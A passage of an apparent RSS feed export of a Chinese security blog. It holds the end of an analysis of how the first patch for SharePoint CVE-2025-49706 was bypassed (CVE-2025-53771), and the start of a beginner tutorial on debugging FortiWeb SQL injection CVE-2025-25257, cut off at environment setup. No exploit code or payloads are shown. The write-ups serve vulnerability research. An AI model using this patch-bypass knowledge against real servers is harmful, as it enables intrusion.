1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;display: table;padding: 0.3em 1.2em;color: rgb(255, 255, 255);background: rgb(15, 76, 129);border-radius: 8px 24px;box-shadow: rgba(0, 0, 0, 0.06) 0px 2px 6px;"><span leaf="">补丁绕过分析</span></h2><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">针对 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">CVE-2025-49706</span></code><span leaf=""> 认证绕过漏洞，微软官方最初的修复方式是在 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">PostAuthenticateRequestHandler</span></code><span leaf=""> 中增加了对 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">Request.Path</span></code><span leaf=""> 的检查，判断其是否以 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">ToolPane.aspx</span></code><span leaf=""> 结尾。这种修复方式存在问题（对应漏洞 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">CVE-2025-53771</span></code><span leaf=""> ），比如我们上面分析中使用的 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">URL</span></code><span leaf=""> 就可以绕过：</span></p><figure style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;color: rgb(63, 63, 63);"><span leaf=""><img data-imgfileid="100008610" class="rich_pages wxw-img" data-ratio="0.30954587581093607" data-type="png" data-w="1079" style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);display: block;vertical-align: middle;max-width: 100%;height: auto;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;margin: 0.1em auto 0.5em;border-radius: 8px;" title="null" src="https://wechat2rss.xlab.app/img-proxy/?k=76bd4d8d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9UsWg6ibZLAw6C8Y0qduqVIu2ibnKvwzaVL7nqB6tZ3CAbRtmzy9HJIWRsVmEGI408rGRAkYCgHjxqroY1bV4vXg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;color: rgb(136, 136, 136);"></figcaption></figure><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">后续官方采用白名单模式再次进行了修复：</span></p><pre style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;margin: 10px 8px;color: rgb(201, 209, 217);background: rgb(13, 17, 23);text-align: left;line-height: 1.5;overflow-x: auto;border-radius: 8px;padding: 0px !important;"><span hidden="" style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));display: flex;padding: 10px 14px 0px;"><svg viewBox="0 0 450 130" height="13px" width="45px" y="0px" x="0px" version="1.1" xmlns="http://www.w3.org/2000/svg"><ellipse fill="rgb(237,108,96)" stroke-width="2" stroke="rgb(220,60,54)" ry="52" rx="50" cy="65" cx="50"></ellipse><ellipse fill="rgb(247,193,81)" stroke-width="2" stroke="rgb(218,151,33)" ry="52" rx="50" cy="65" cx="225"></ellipse><ellipse fill="rgb(100,200,86)" stroke-width="2" stroke="rgb(27,161,37)" ry="52" rx="50" cy="65" cx="400"></ellipse></svg></span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: &#34;Fira Code&#34;, Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.15px;display: -webkit-box;padding: 0.5em 1em 1em;overflow-x: auto;text-indent: 0px;text-align: left;line-height: 1.75;margin: 0px;white-space: pre-wrap;"><span leaf="">if(this.CheckIsInSignOutRefereAllowList(context.Request.Path)){</span><span leaf=""><br/></span><span leaf="">    flag10 = true;</span><span leaf=""><br/></span><span leaf="">}</span><span leaf=""><br/></span><span leaf="">...</span></code></pre><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">部分合法的路径如下：</span></p><pre style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;margin: 10px 8px;color: rgb(201, 209, 217);background: rgb(13, 17, 23);text-align: left;line-height: 1.5;overflow-x: auto;border-radius: 8px;padding: 0px !important;"><span hidden="" style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));display: flex;padding: 10px 14px 0px;"><svg viewBox="0 0 450 130" height="13px" width="45px" y="0px" x="0px" version="1.1" xmlns="http://www.w3.org/2000/svg"><ellipse fill="rgb(237,108,96)" stroke-width="2" stroke="rgb(220,60,54)" ry="52" rx="50" cy="65" cx="50"></ellipse><ellipse fill="rgb(247,193,81)" stroke-width="2" stroke="rgb(218,151,33)" ry="52" rx="50" cy="65" cx="225"></ellipse><ellipse fill="rgb(100,200,86)" stroke-width="2" stroke="rgb(27,161,37)" ry="52" rx="50" cy="65" cx="400"></ellipse></svg></span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: &#34;Fira Code&#34;, Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.15px;display: -webkit-box;padding: 0.5em 1em 1em;overflow-x: auto;text-indent: 0px;text-align: left;line-height: 1.75;margin: 0px;white-space: pre-wrap;"><span leaf="">/_layouts/15/SignOut.aspx</span><span leaf=""><br/></span><span leaf="">/_layouts/15/1033/initstrings.js</span><span leaf=""><br/></span><span leaf="">/_layouts/15/init.js</span><span leaf=""><br/></span><span leaf="">/_layouts/15/theming.js</span><span leaf=""><br/></span><span leaf="">/ScriptResource.axd</span><span leaf=""><br/></span><span leaf="">/_layouts/15/blank.js</span><span leaf=""><br/></span><span leaf="">...</span></code></pre><h2 data-heading="true" style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-size: 19.5px;font-weight: bold;margin: 4em auto 2em;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;display: table;padding: 0.3em 1.2em;color: rgb(255, 255, 255);background: rgb(15, 76, 129);border-radius: 8px 24px;box-shadow: rgba(0, 0, 0, 0.06) 0px 2px 6px;"><span leaf="">小结</span></h2><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">除了目前公开方式外，还可以构造多个不同的请求形式来触发漏洞，文中 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">WebPart</span></code><span leaf=""> 生成过程部分已经进行了分析。 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">ToolShell</span></code><span leaf=""> 漏洞链中有很多历史漏洞的影子，熟悉这些历史漏洞可以帮助我们更好研究和挖掘这种大型框架的复杂漏洞。此外，感觉上面创建 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">WebPart</span></code><span leaf=""> 控件的方式是一个值得继续研究的点，</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">SharePoint</span></code><span leaf=""> 如此庞大的代码中可能还存在未知的利用方式，持续关注吧！</span></p></div><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 0px;color: rgb(10, 10, 10);font-family: ui-sans-serif, system-ui, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;font-size: 0px;line-height: 0;"><span leaf=""> </span></p><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 0px;color: rgb(10, 10, 10);font-family: ui-sans-serif, system-ui, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;font-size: 0px;line-height: 0;"><span leaf=""><br/></span></p><p><span style="color: rgb(63, 63, 63);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 12px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 700;letter-spacing: 1.4px;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: none;" data-pm-slice="0 0 []"><span leaf="">由于传播、利用此文档提供的信息而造成任何直接或间接的后果及损害，均由使用本人负责，公众号及文章作者不为此承担任何责任。</span></span></p><p class="mp_profile_iframe_wrp" nodeleaf=""><mp-common-profile class="js_uneditable custom_select_card mp_profile_iframe" data-pluginname="mpprofile" data-nickname="自在安全" data-alias="zizaianquan" data-from="0" data-headimg="http://mmbiz.qpic.cn/sz_mmbiz_png/9UsWg6ibZLAyXOOjT6ic7nYAv7IbBiaSry4atmFYFQotupk7xIuiaK0opNtiariaXJo31Cf1X4t5609epW2oBesIdoxA/0?wx_fmt=png" data-signature="网海茫茫隐暗礁，漏洞潜伏似波涛。 慧心洞察安澜处，自在安全任我遨。" data-id="Mzk0NTU5Mjg0Ng==" data-is_biz_ban="0" data-service_type="1" data-verify_status="0"></mp-common-profile></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="2247492265">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=0d5bcdd4&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzk0NTU5Mjg0Ng%3D%3D%26mid%3D2247492265%26idx%3D1%26sn%3D75e8308ce6321258e20fde487075c906">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Mon, 11 Aug 2025 07:01:00 +0800</pubDate>
    </item>
    <item>
      <title>手把手教你如何挖洞：CVE-2025-25257 Fortinet FortiWeb 匿名 SQL 注入漏洞动态调试实战</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzk0NTU5Mjg0Ng==&amp;mid=2247492236&amp;idx=1&amp;sn=8d8564b4b92621d0ce1783198a801077</link>
      <description>从如何深入动态调试的角度教一下新手如何分析漏洞。内容比较基础，大佬请绕行。</description>
      <content:encoded><![CDATA[<p>
原创 <span>KCyber</span> <span>2025-07-13 08:01</span> <span style="display: inline-block;">北京</span>
</p>

<p>从如何深入动态调试的角度教一下新手如何分析漏洞。内容比较基础，大佬请绕行。</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=9030f30e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2F9UsWg6ibZLAywRGmYguPrcGj5bbSxFbKfGNORC7lhOzN0V8mvZKXb8yBDzztiaKtFK3MdhWUWSDMmUmN1OEmJy2g%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 0px;color: rgb(10, 10, 10);font-family: ui-sans-serif, system-ui, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;font-size: 0px;line-height: 0;" data-pm-slice="0 0 []"><span leaf=""> </span></p><div style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(10, 10, 10);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;"><p class="mp_profile_iframe_wrp" nodeleaf=""><mp-common-profile class="js_uneditable custom_select_card mp_profile_iframe" data-pluginname="mpprofile" data-nickname="自在安全" data-alias="zizaianquan" data-from="0" data-headimg="http://mmbiz.qpic.cn/sz_mmbiz_png/9UsWg6ibZLAyXOOjT6ic7nYAv7IbBiaSry4atmFYFQotupk7xIuiaK0opNtiariaXJo31Cf1X4t5609epW2oBesIdoxA/0?wx_fmt=png" data-signature="网海茫茫隐暗礁，漏洞潜伏似波涛。 慧心洞察安澜处，自在安全任我遨。" data-id="Mzk0NTU5Mjg0Ng==" data-is_biz_ban="0" data-service_type="1" data-verify_status="0"></mp-common-profile></p><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 0px 8px 1.5em;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">最近一直比较忙，有段时间没有发文章了。后台有人问我写这么多技术文章花了多少时间？我想说再忙挤一挤时间还是有的，关键在于有没有兴趣写；还有人问我怎么学挖洞，正好今天看到这个漏洞，发现比较简单适合拿来入门学习，所以就想从如何深入调试分析的角度，教一下新手怎样分析漏洞。</span></p><h2 data-heading="true" style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-size: 19.5px;font-weight: bold;margin: 4em auto 2em;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;display: table;padding: 0.3em 1.2em;color: rgb(255, 255, 255);background: rgb(15, 76, 129);border-radius: 8px 24px;box-shadow: rgba(0, 0, 0, 0.06) 0px 2px 6px;"><span leaf="">环境搭建</span></h2><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">下载虚拟机环境并提取固件。通过 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">mount</span></code><span leaf=""> 挂载磁盘，核心文件结构位于 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">rootfs.gz</span></code><span leaf=""> ：</span></p><figure style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;color: rgb(63, 63, 63);"><span leaf=""><img class="rich_pages wxw-img" data-imgfileid="100008571" data-ratio="0.7183908045977011" title="null" data-type="png" data-w="522" style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);display: block;vertical-align: middle;max-width: 100%;height: auto;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;margin: 0.1em auto 0.5em;border-radius: 8px;" src="https://wechat2rss.xlab.app/img-proxy/?k=871f93e5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9UsWg6ibZLAywRGmYguPrcGj5bbSxFbKfwwL7gtXCkkMR86Spf5NVLYMdF561qU49UJ4Ey7hEe7SiaP0EPI2SzdA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;color: rgb(136, 136, 136);"></figcaption></figure><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">刚好 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">binwalk</span></code><span leaf=""> 发布了新版本 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">binwalkv3</span></code><span leaf=""> ，采用 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">Rust</span></code><span leaf=""> 语言进行了代码重写，正好下载体验一把：</span></p><pre style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;margin: 10px 8px;color: rgb(201, 209, 217);background: rgb(13, 17, 23);text-align: left;line-height: 1.5;overflow-x: auto;border-radius: 8px;padding: 0px !important;"><span hidden="" style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));display: flex;padding: 10px 14px 0px;"><svg viewBox="0 0 450 130" height="13px" 